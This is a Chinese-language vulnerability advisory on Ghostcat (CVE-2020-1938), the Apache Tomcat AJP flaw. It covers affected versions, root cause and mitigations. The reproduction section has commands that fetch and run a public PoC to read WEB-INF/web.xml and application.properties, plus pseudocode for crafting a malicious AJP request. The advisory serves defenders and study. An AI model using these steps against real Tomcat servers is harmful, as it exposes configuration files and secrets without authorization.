一、漏洞简介

1.1 漏洞背景

Apache JServ Protocol (AJP) 是一种二进制协议,用于 Tomcat 与 Web 服务器(如 Apache HTTPD、Nginx)之间的通信。AJP 协议设计上比 HTTP 更高效,因此常用于反向代理场景。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2020-1938
危害等级 CRITICAL / 9.8
漏洞类型 Ghostcat AJP 文件读取漏洞
披露时间 2020-02-24
影响组件 Apache Tomcat 历史
  • CVE 编号:CVE-2020-1938
  • 代号:Ghostcat(幽灵猫)
  • 危害等级:Important / High(重要/高)
  • 披露时间:2020年2月
  • 漏洞类型:文件读取 + 可能的远程代码执行
  • CVSS 评分:9.8(严重)

补充核验信息:公开时间:2020-02-24;NVD 评分:9.8(CRITICAL)。

二、影响范围

2.1 受影响的版本

版本系列 受影响范围
Tomcat 9.x 9.0.0.M1 ~ 9.0.30
Tomcat 8.x 8.5.0 ~ 8.5.50
Tomcat 7.x 7.0.0 ~ 7.0.99

2.2 不受影响的版本

版本系列 修复版本
Tomcat 9.x ≥ 9.0.31
Tomcat 8.x ≥ 8.5.51
Tomcat 7.x ≥ 7.0.100

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. AJP Connector 已启用(默认启用,监听 8009 端口)
  2. AJP 端口对攻击者可访问(直接暴露或可通过 SSRF 访问)

三、漏洞详情与原理解析

3.1 漏洞触发机制

Ghostcat 漏洞源于 AJP 协议设计中 Tomcat 对 AJP 连接的过度信任。AJP 请求被视为比 HTTP 请求更可信,因为它们通常来自受信任的 Web 服务器。

漏洞允许攻击者:

  1. 读取任意文件
  2. 包括 WEB-INF/web.xmlWEB-INF/classes/ 下的配置文件和类文件
  3. 任何可通过 ServletContext.getResourceAsStream() 访问的文件

  4. 执行任意 JSP

  5. 可以将任意文件作为 JSP 解析执行
  6. 如果能上传文件,可导致远程代码执行

3.2 源码层面的根因分析(结合源码与补丁对比)

AJP 协议中的关键属性

AJP_FORWARD_REQUEST = 2
AJP_SEND_HEADERS = 4
AJP_SEND_BODY_CHUNK = 3
AJP_END_RESPONSE = 5

// 漏洞利用的关键属性
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path

Tomcat 处理 AJP 请求的代码org.apache.coyote.ajp.AjpProcessor):

// AJP 请求可以携带这些特殊属性
// 攻击者可以控制这些属性值
String requestUri = request.getAttribute("javax.servlet.include.request_uri");
String pathInfo = request.getAttribute("javax.servlet.include.path_info");
String servletPath = request.getAttribute("javax.servlet.include.servlet_path");

// 如果这些属性被设置,Tomcat 会直接使用
// 而不进行安全检查

四、漏洞复现(可选)

4.1 环境搭建

# 使用 Docker 快速搭建
docker run -d --name tomcat-ghostcat \
    -p 8080:8080 \
    -p 8009:8009 \
    tomcat:9.0.30-jdk11

4.2 PoC 演示与测试过程

使用公开的利用脚本

# 下载 PoC 工具
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git
cd CNVD-2020-10487-Tomcat-Ajp-lfi

# 读取 WEB-INF/web.xml
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target 8009 /WEB-INF/web.xml

# 读取其他敏感文件
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target 8009 /WEB-INF/classes/application.properties

手动构造 AJP 请求(伪代码):

import socket

def craft_ajp_request(file_path):
    # AJP 魔数
    data = b'\x12\x34'  # Magic
    data += len_to_bytes(0)  # Data length (placeholder)

    # 构造 FORWARD_REQUEST
    data += bytes([2])  # FORWARD_REQUEST code
    data += bytes([2])  # POST method
    data += b'\x00' * 6  # Protocol version, etc.

    # 设置 include 属性
    data += build_attribute("javax.servlet.include.request_uri", "/")
    data += build_attribute("javax.servlet.include.servlet_path", file_path)
    data += b'\xff'  # End of attributes

    return data

五、修复建议与缓解措施

5.1 官方版本升级建议

当前版本 升级目标
Tomcat 9.0.x < 9.0.31 升级至 9.0.31+
Tomcat 8.5.x < 8.5.51 升级至 8.5.51+
Tomcat 7.0.x < 7.0.100 升级至 7.0.100+

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

  1. 禁用 AJP Connector(如不使用):
<!-- 在 conf/server.xml 中注释掉 AJP Connector -->
<!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->
  1. 限制 AJP 访问(必须使用时):
<Connector port="8009" protocol="AJP/1.3"
           redirectPort="8443"
           address="127.0.0.1"  <!-- 只监听本地 -->
           secretRequired="true"
           secret="your_secret_key" />
  1. 配置 requiredSecret(Tomcat 修复版本的默认行为):
<Connector port="8009" protocol="AJP/1.3"
           secretRequired="true"
           secret="your_strong_secret" />
  1. 防火墙规则
# 只允许特定 IP 访问 8009 端口
iptables -A INPUT -p tcp --dport 8009 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8009 -j DROP

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://lists.apache.org/thread.html/r7c6f492fbd39af34a68681dbbba0468490ff1a97a1bd79c6a53610ef%40%3Cannounce.tomcat.apache.org%3E
  • https://lists.apache.org/thread.html/r8f7484589454638af527182ae55ef5b628ba00c05c5b11887c922fb1%40%3Cnotifications.ofbiz.apache.org%3E
  • https://lists.apache.org/thread.html/r90890afea72a9571d666820b2fe5942a0a5f86be406fa31da3dd0922%40%3Cannounce.apache.org%3E
  • https://lists.apache.org/thread.html/ra7092f7492569b39b04ec0decf52628ba86c51f15efb38f5853e2760%40%3Cnotifications.ofbiz.apache.org%3E
  • https://lists.apache.org/thread.html/rf1bbc0ea4a9f014cf94df9a12a6477d24a27f52741dbc87f2fd52ff2%40%3Cissues.geode.apache.org%3E
  • https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git
  • https://tomcat.apache.org/security-impact.html
  • https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

6.2 其他技术参考资料

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2020-1938
  • CVE:https://www.cve.org/CVERecord?id=CVE-2020-1938
  • https://lists.apache.org/thread.html/r7c6f492fbd39af34a68681dbbba0468490ff1a97a1bd79c6a53610ef%40%3Cannounce.tomcat.apache.org%3E
  • https://lists.apache.org/thread.html/r8f7484589454638af527182ae55ef5b628ba00c05c5b11887c922fb1%40%3Cnotifications.ofbiz.apache.org%3E
  • https://lists.apache.org/thread.html/r90890afea72a9571d666820b2fe5942a0a5f86be406fa31da3dd0922%40%3Cannounce.apache.org%3E
  • https://lists.apache.org/thread.html/ra7092f7492569b39b04ec0decf52628ba86c51f15efb38f5853e2760%40%3Cnotifications.ofbiz.apache.org%3E
  • https://lists.apache.org/thread.html/rf1bbc0ea4a9f014cf94df9a12a6477d24a27f52741dbc87f2fd52ff2%40%3Cissues.geode.apache.org%3E
  • https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git